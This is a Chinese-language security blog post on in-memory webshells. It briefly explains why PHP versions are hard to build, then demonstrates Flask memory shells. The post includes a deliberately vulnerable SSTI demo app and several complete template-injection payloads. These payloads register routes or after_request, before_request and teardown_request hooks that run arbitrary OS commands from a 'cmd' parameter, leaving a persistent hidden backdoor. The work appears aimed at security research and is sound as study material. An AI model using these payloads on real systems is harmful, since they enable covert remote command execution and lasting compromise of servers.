python内存马浅探

11 分钟

前言

众所周知,Java内存马的各种变种至今都是炙手可热的话题,无文件落地更高的隐蔽性不出网也可利用等特性使得每次Java内存马的新特性都备受关注。因此之前走在路上,我就在想为什么比较广为人知的内存马只有Java,却没有见到过Python PHP的内存马呢?很多人都会说PHP不死马,但是这种木马并不算是内存马,而且也并没有内存马的特性,甚至乎它并不好用,会有大量的文件生成。这种想法只是闪过了一下,我并没有去细搜这些东西。直至看到了论坛的文章,才去简单了解了下这些东西,因此写了以下的文章。

关于PHP内存马

网上对真正的PHP内存马的研究极少,PHP作为一种应用程序占比比较多的语言,没有人研究这种手段显然是存在某些原因的,直至看到了以下的这篇文件,方才恍然大悟。PHP内存马从这篇文章中,我们可以获取到关键的原因就是由于 PHP 语言的特性,一次执行生命周期,通常就是伴随着请求周期开始和结束的。因此,很难完成一段代码的内存长久驻留

文中提到了一种马叫Fastcgi马,这种马也是我第一次听到,文章中展示了几点关键的信息。

  1. 根本原因:PHP-FPM可采用FastCGI进行通信,这种通信的交互主要通过webserverfcgi进程相互完成,webserver接收到动态请求后,通过fcgi协议转发给fcgi进程,由fcgi进程处理并且返回结果。由于开发者的疏忽导致fcgi被绑到了任何人都能访问的地方或者fcgi并没有指定一个webserver的通信,导致了可以伪造webserverfcgi进行通信,执行脚本命令。
  2. 缺陷:纠其原因,那就是一个未授权访问的漏洞,当fcgi不暴露到公网或者指定了webserver的访问授权限制,这种漏洞就不可行了,而且这一种木马也不能算是内存马,它只是通过伪造通信完成了命令执行。

但是事实上文章中提到了一个真正FPM内存马的思路,那就是通过PHP_ADMIN_VALUE 修改php配置,使得FPM进程中被保留下来,文中提到的主要利用方式是auto_prepend_file这个配置,配置的解析如下:

  • auto_prepend_filePHP.ini 配置文件中的一个选项,用于指定一个文件的路径。这个文件会在 PHP程序的每个 PHP 文件之前被自动包含(即预先加载)。这个选项的作用是在 PHP 文件执行之前,自动将指定的文件内容插入到 PHP 程序的开头处。简单来说,通过这个配置配一段代码,能使得任何任何php文件执行前都会自动触发配置的代码。

通过这种fastcgi 请求的伪造修改这样的配置完成了内存马的注入,但事实上这种内存马也还是依赖于能够在于fcgi通信时能够伪造fastcgi通信达到这种效果,限制依旧比较大,并不像JAVA那样。

总结来说:php内存马由于PHP的特性,导致了很难使得某段代码长期在内存中逗留,并且fastcgi本身以及php版本更迭,各种限制很多很多,导致了并不实用。

Python内存马

由于Python语言的定位,因此绝大部分的应用程序主要编程语言都并不会采用Python,因此Python内存马的攻击也就没有可用之处了。但是这种Django、flask内存马确实是存在的。这与Java语言事实上是有点相似的,理论上来说,当能够通过一些函数等方式注册路由并且控制路由中的处理,就能够制造出内存马。flask中确实有这些可利用的东西。

关于内存马的注入方式,在Java语言中,内存马的注入主要是通过反序列化漏洞完成的,而在Python语言中,虽然pickle、yaml等依赖包在配置不当的时候会存在反序列化的问题,但Python更容易注入内存马的应该是模板注入

关于ssti注入的参考文章:
链接:SSTI注入利用姿势合集

首先构造一个存在模板注入的demo,主要是构造动态的模板渲染,代码如下:

from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route('/')
def index():
  name = 'guest'
  if request.args.get('name'):
    name = request.args.get('name')
  template = '<h1>%s</h1>' % name
  return render_template_string(template)


if __name__ == '__main__':
  app.run(port=8888)

那么接下来对于存在ssti注入漏洞后,我们应当的通过模板注入的注册路由,又或者说是拦截器过滤器等可控制的东西。在flask低版本中存在着add_url_rule函数用于动态将URL规则与视图函数绑定在一起,基本语法如下:

app.add_url_rule(rule, endpoint=None, view_func=None, **options)

其中rule就是访问路由的路径,view_func就是URL对应的处理函数。

所以整个注入的payload可为:

request.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

关于_request_ctx_stack,这是flask框架中的全局变量,这个变量用于存储请求的上下文对象,Flask 能够在任何时候通过这个栈结构获取当前请求的上下文,从而允许在处理请求时访问请求相关的信息。

但是问题在于高版本的Flask中,当你再执行这个payload会出现如下的报错信息。

AssertionError: The setup method 'add_url_rule' can no longer be called on the application. It has already handled its first request, any changes will not be applied consistently.
Make sure all imports, decorators, functions, etc. needed to set up the application are done before running it.

原因是因为在_check_setup_finished函数中,会对应用进行标记设置完成,当设置完成后,应用对象将不可再进行修改,也就是add_url_rule不能在app中再被调用。

image-20240513135247909

为了解决这个问题,有师傅将目标放在了一些类似于拦截器中间件处理器当中,比如before_requestafter_requestteardown_request这三个上面,分别的作用如下:

  • @app.before_request 用于注册一个函数,在每次请求处理开始前执行。这个函数可以用来执行一些预处理工作,例如设置一些全局变量、验证请求等。它在请求处理上下文中被调用。
  • @app.after_request 用于注册一个函数,在每次请求处理完成后执行,它在请求处理成功完成后执行,而不管请求处理过程中是否发生了异常。这个函数可以用来对响应进行处理,它在请求处理上下文中被调用。
  • @app.teardown_request() 用于注册一个函数,该函数在每次请求处理完成后执行。它通常用于清理工作,例如关闭数据库连接、释放资源等。这个函数可以访问请求处理过程中创建的任何对象,因为它在请求处理上下文中被调用。

从它们的源码中可以看到它们最终调用的处理函数分别是before_request_funcs.setdefault(),after_request_funcs.setdefault(), teardown_request_funcs.setdefault()

因此我们可以获取到如下的payload

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: mem if request.args.get('cmd') and exec(\"global mem;mem=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
当存在请求的参数cmd时候,就会对传入的cmd执行系统命令,至于最后==None是恒等于的,exec不会返回命令执行的结果,最终命令执行的结果会通过make_response赋值给全局变量mem,最终通过setdefault添加到匿名函数resp中。

其它的也是一致的:

{{url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('whoami').read())",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
{{url_for.__globals__['__builtins__']['eval']("app.teardown_request_funcs.setdefault(None, []).append(lambda resp: mem if request.args.get('cmd') and exec(\"global mem;mem=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}} #无回显

1715583495645

总结

PHP的内存马由于PHP语言的特性,包括生命周期、共享内存限制等导致一段代码难以长久在内存当中,而flask的内存马其实与Java内存马的思路相似,通过代码的方式注册路由、注册一些拦截器等等完成内存马的执行。

参考文章:
Python内存马的研究

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全Web安全
文章标题:python内存马浅探
文章链接:https://aiwin.fun/index.php/archives/4409/
最后编辑:2024 年 5 月 13 日 15:13 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 3 + 8 =
快来做第一个评论的人吧~